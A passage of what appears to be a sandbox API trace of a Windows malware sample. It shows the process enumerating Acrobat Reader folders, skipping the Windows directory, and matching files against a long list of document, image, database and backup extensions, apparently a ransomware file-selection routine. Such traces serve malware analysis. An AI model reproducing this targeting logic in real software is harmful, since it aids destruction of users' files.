ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1 [0266.579] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0266.579] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315a70 [0266.579] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.580] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.742] lstrlenW (lpString="ui-strings.js") returned 13 [0266.742] lstrlenW (lpString=".1cd") returned 4 [0266.742] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0266.742] lstrlenW (lpString=".3ds") returned 4 [0266.742] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0266.742] lstrlenW (lpString=".3fr") returned 4 [0266.742] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0266.742] lstrlenW (lpString=".3g2") returned 4 [0266.742] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0266.742] lstrlenW (lpString=".3gp") returned 4 [0266.742] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0266.742] lstrlenW (lpString=".7z") returned 3 [0266.742] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0266.743] lstrlenW (lpString=".accda") returned 6 [0266.743] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0266.743] lstrlenW (lpString=".accdb") returned 6 [0266.743] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0266.743] lstrlenW (lpString=".accdc") returned 6 [0266.743] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0266.743] lstrlenW (lpString=".accde") returned 6 [0266.743] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0266.743] lstrlenW (lpString=".accdt") returned 6 [0266.743] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0266.743] lstrlenW (lpString=".accdw") returned 6 [0266.743] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0266.743] lstrlenW (lpString=".adb") returned 4 [0266.743] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0266.743] lstrlenW (lpString=".adp") returned 4 [0266.743] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0266.743] lstrlenW (lpString=".ai") returned 3 [0266.743] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0266.743] lstrlenW (lpString=".ai3") returned 4 [0266.743] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0266.743] lstrlenW (lpString=".ai4") returned 4 [0266.743] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0266.743] lstrlenW (lpString=".ai5") returned 4 [0266.743] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0266.743] lstrlenW (lpString=".ai6") returned 4 [0266.743] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0266.743] lstrlenW (lpString=".ai7") returned 4 [0266.743] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0266.744] lstrlenW (lpString=".ai8") returned 4 [0266.744] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0266.744] lstrlenW (lpString=".anim") returned 5 [0266.744] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0266.744] lstrlenW (lpString=".arw") returned 4 [0266.744] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0266.744] lstrlenW (lpString=".as") returned 3 [0266.744] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0266.744] lstrlenW (lpString=".asa") returned 4 [0266.744] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0266.744] lstrlenW (lpString=".asc") returned 4 [0266.744] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0266.744] lstrlenW (lpString=".ascx") returned 5 [0266.744] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0266.744] lstrlenW (lpString=".asm") returned 4 [0266.744] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0266.744] lstrlenW (lpString=".asmx") returned 5 [0266.744] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0266.744] lstrlenW (lpString=".asp") returned 4 [0266.744] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0266.744] lstrlenW (lpString=".aspx") returned 5 [0266.744] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0266.744] lstrlenW (lpString=".asr") returned 4 [0266.744] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0266.744] lstrlenW (lpString=".asx") returned 4 [0266.744] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0266.744] lstrlenW (lpString=".avi") returned 4 [0266.744] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0266.744] lstrlenW (lpString=".avs") returned 4 [0266.744] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0266.745] lstrlenW (lpString=".backup") returned 7 [0266.745] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0266.745] lstrlenW (lpString=".bak") returned 4 [0266.745] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0266.745] lstrlenW (lpString=".bay") returned 4 [0266.745] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0266.745] lstrlenW (lpString=".bd") returned 3 [0266.745] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0266.745] lstrlenW (lpString=".bin") returned 4 [0266.745] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0266.745] lstrlenW (lpString=".bmp") returned 4 [0266.745] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0266.745] lstrlenW (lpString=".bz2") returned 4 [0266.745] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0266.745] lstrlenW (lpString=".c") returned 2 [0266.745] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0266.745] lstrlenW (lpString=".cdr") returned 4 [0266.745] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0266.745] lstrlenW (lpString=".cer") returned 4 [0266.745] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0266.745] lstrlenW (lpString=".cf") returned 3 [0266.745] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0266.745] lstrlenW (lpString=".cfc") returned 4 [0266.745] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0266.745] lstrlenW (lpString=".cfm") returned 4 [0266.745] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0266.745] lstrlenW (lpString=".cfml") returned 5 [0266.745] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0266.746] lstrlenW (lpString=".cfu") returned 4 [0266.746] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0266.746] lstrlenW (lpString=".chm") returned 4 [0266.746] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0266.746] lstrlenW (lpString=".cin") returned 4 [0266.746] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0266.746] lstrlenW (lpString=".class") returned 6 [0266.746] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0266.746] lstrlenW (lpString=".clx") returned 4 [0266.746] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0266.746] lstrlenW (lpString=".config") returned 7 [0266.746] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0266.746] lstrlenW (lpString=".cpp") returned 4 [0266.746] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0266.746] lstrlenW (lpString=".cr2") returned 4 [0266.746] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0266.746] lstrlenW (lpString=".crt") returned 4 [0266.746] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0266.746] lstrlenW (lpString=".crw") returned 4 [0266.746] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0266.746] lstrlenW (lpString=".cs") returned 3 [0266.746] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0266.746] lstrlenW (lpString=".css") returned 4 [0266.746] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0266.747] lstrlenW (lpString=".csv") returned 4 [0266.747] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0266.747] lstrlenW (lpString=".cub") returned 4 [0266.747] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0266.747] lstrlenW (lpString=".dae") returned 4 [0266.747] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0266.747] lstrlenW (lpString=".dat") returned 4 [0266.747] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0266.747] lstrlenW (lpString=".db") returned 3 [0266.747] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0266.747] lstrlenW (lpString=".dbf") returned 4 [0266.747] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0266.747] lstrlenW (lpString=".dbx") returned 4 [0266.747] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0266.747] lstrlenW (lpString=".dc3") returned 4 [0266.747] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0266.747] lstrlenW (lpString=".dcm") returned 4 [0266.747] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0266.747] lstrlenW (lpString=".dcr") returned 4 [0266.747] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0266.747] lstrlenW (lpString=".der") returned 4 [0266.747] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0266.747] lstrlenW (lpString=".dib") returned 4 [0266.747] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0266.748] lstrlenW (lpString=".dic") returned 4 [0266.748] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0266.748] lstrlenW (lpString=".dif") returned 4 [0266.748] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0266.748] lstrlenW (lpString=".divx") returned 5 [0266.748] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0266.748] lstrlenW (lpString=".djvu") returned 5 [0266.748] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0266.748] lstrlenW (lpString=".dng") returned 4 [0266.748] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0266.748] lstrlenW (lpString=".doc") returned 4 [0266.748] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0266.748] lstrlenW (lpString=".docm") returned 5 [0266.748] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0266.748] lstrlenW (lpString=".docx") returned 5 [0266.748] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0266.748] lstrlenW (lpString=".dot") returned 4 [0266.748] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0266.749] lstrlenW (lpString=".dotm") returned 5 [0266.749] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0266.749] lstrlenW (lpString=".dotx") returned 5 [0266.749] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0266.749] lstrlenW (lpString=".dpx") returned 4 [0266.749] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0266.749] lstrlenW (lpString=".dqy") returned 4 [0266.749] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0266.749] lstrlenW (lpString=".dsn") returned 4 [0266.749] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0266.749] lstrlenW (lpString=".dt") returned 3 [0266.749] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0266.749] lstrlenW (lpString=".dtd") returned 4 [0266.749] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0266.749] lstrlenW (lpString=".dwg") returned 4 [0266.749] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0266.749] lstrlenW (lpString=".dwt") returned 4 [0266.749] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0266.749] lstrlenW (lpString=".dx") returned 3 [0266.749] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0266.749] lstrlenW (lpString=".dxf") returned 4 [0266.749] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0266.749] lstrlenW (lpString=".edml") returned 5 [0266.749] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0266.749] lstrlenW (lpString=".efd") returned 4 [0266.750] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0266.750] lstrlenW (lpString=".elf") returned 4 [0266.750] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0266.750] lstrlenW (lpString=".emf") returned 4 [0266.750] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0266.750] lstrlenW (lpString=".emz") returned 4 [0266.750] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0266.750] lstrlenW (lpString=".epf") returned 4 [0266.750] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0266.750] lstrlenW (lpString=".eps") returned 4 [0266.750] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0266.750] lstrlenW (lpString=".epsf") returned 5 [0266.750] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0266.750] lstrlenW (lpString=".epsp") returned 5 [0266.750] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0266.750] lstrlenW (lpString=".erf") returned 4 [0266.750] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0266.750] lstrlenW (lpString=".exr") returned 4 [0266.750] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0266.750] lstrlenW (lpString=".f4v") returned 4 [0266.750] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0266.751] lstrlenW (lpString=".fido") returned 5 [0266.751] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0266.751] lstrlenW (lpString=".flm") returned 4 [0266.751] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0266.751] lstrlenW (lpString=".flv") returned 4 [0266.751] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0266.751] lstrlenW (lpString=".frm") returned 4 [0266.751] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0266.751] lstrlenW (lpString=".fxg") returned 4 [0266.751] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0266.751] lstrlenW (lpString=".geo") returned 4 [0266.751] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0266.751] lstrlenW (lpString=".gif") returned 4 [0266.751] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0266.751] lstrlenW (lpString=".grs") returned 4 [0266.751] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0266.751] lstrlenW (lpString=".gz") returned 3 [0266.751] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0266.752] lstrlenW (lpString=".h") returned 2 [0266.752] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0266.752] lstrlenW (lpString=".hdr") returned 4 [0266.752] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0266.752] lstrlenW (lpString=".hpp") returned 4 [0266.752] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0266.752] lstrlenW (lpString=".hta") returned 4 [0266.752] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0266.752] lstrlenW (lpString=".htc") returned 4 [0266.752] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0266.752] lstrlenW (lpString=".htm") returned 4 [0266.752] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0266.752] lstrlenW (lpString=".html") returned 5 [0266.752] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0266.752] lstrlenW (lpString=".icb") returned 4 [0266.752] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0266.752] lstrlenW (lpString=".ics") returned 4 [0266.752] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0266.752] lstrlenW (lpString=".iff") returned 4 [0266.752] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0266.752] lstrlenW (lpString=".inc") returned 4 [0266.752] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0266.752] lstrlenW (lpString=".indd") returned 5 [0266.752] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0266.752] lstrlenW (lpString=".ini") returned 4 [0266.753] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0266.753] lstrlenW (lpString=".iqy") returned 4 [0266.753] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0266.753] lstrlenW (lpString=".j2c") returned 4 [0266.753] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0266.753] lstrlenW (lpString=".j2k") returned 4 [0266.753] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0266.753] lstrlenW (lpString=".java") returned 5 [0266.753] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0266.753] lstrlenW (lpString=".jp2") returned 4 [0266.753] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0266.753] lstrlenW (lpString=".jpc") returned 4 [0266.753] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0266.753] lstrlenW (lpString=".jpe") returned 4 [0266.753] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0266.753] lstrlenW (lpString=".jpeg") returned 5 [0266.753] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0266.753] lstrlenW (lpString=".jpf") returned 4 [0266.753] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0266.753] lstrlenW (lpString=".jpg") returned 4 [0266.753] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0266.753] lstrlenW (lpString=".jpx") returned 4 [0266.753] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0266.753] lstrlenW (lpString=".js") returned 3 [0266.753] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0266.754] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.754] FindClose (in: hFindFile=0x3315a70 | out: hFindFile=0x3315a70) returned 1 [0266.754] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0266.754] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0266.754] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-sl") returned 106 [0266.754] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-sl") returned 1 [0266.754] lstrlenW (lpString="sl-sl") returned 5 [0266.754] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sl-sl") returned -1 [0266.754] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0266.754] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-sl") returned 106 [0266.754] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-sl\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33158f0 [0266.755] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.755] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0266.755] FindClose (in: hFindFile=0x33158f0 | out: hFindFile=0x33158f0) returned 1 [0266.755] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0266.755] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1 [0266.755] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se") returned 106 [0266.755] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se") returned 1 [0266.755] lstrlenW (lpString="sv-se") returned 5 [0266.755] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sv-se") returned -1 [0266.755] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0266.755] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se") returned 106 [0266.755] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315630 [0266.756] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.756] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.756] lstrlenW (lpString="ui-strings.js") returned 13 [0266.756] lstrlenW (lpString=".1cd") returned 4 [0266.756] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0266.756] lstrlenW (lpString=".3ds") returned 4 [0266.756] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0266.756] lstrlenW (lpString=".3fr") returned 4 [0266.756] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0266.756] lstrlenW (lpString=".3g2") returned 4 [0266.756] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0266.756] lstrlenW (lpString=".3gp") returned 4 [0266.756] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0266.756] lstrlenW (lpString=".7z") returned 3 [0266.757] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0266.757] lstrlenW (lpString=".accda") returned 6 [0266.757] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0266.757] lstrlenW (lpString=".accdb") returned 6 [0266.757] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0266.757] lstrlenW (lpString=".accdc") returned 6 [0266.757] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0266.757] lstrlenW (lpString=".accde") returned 6 [0266.757] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0266.757] lstrlenW (lpString=".accdt") returned 6 [0266.757] 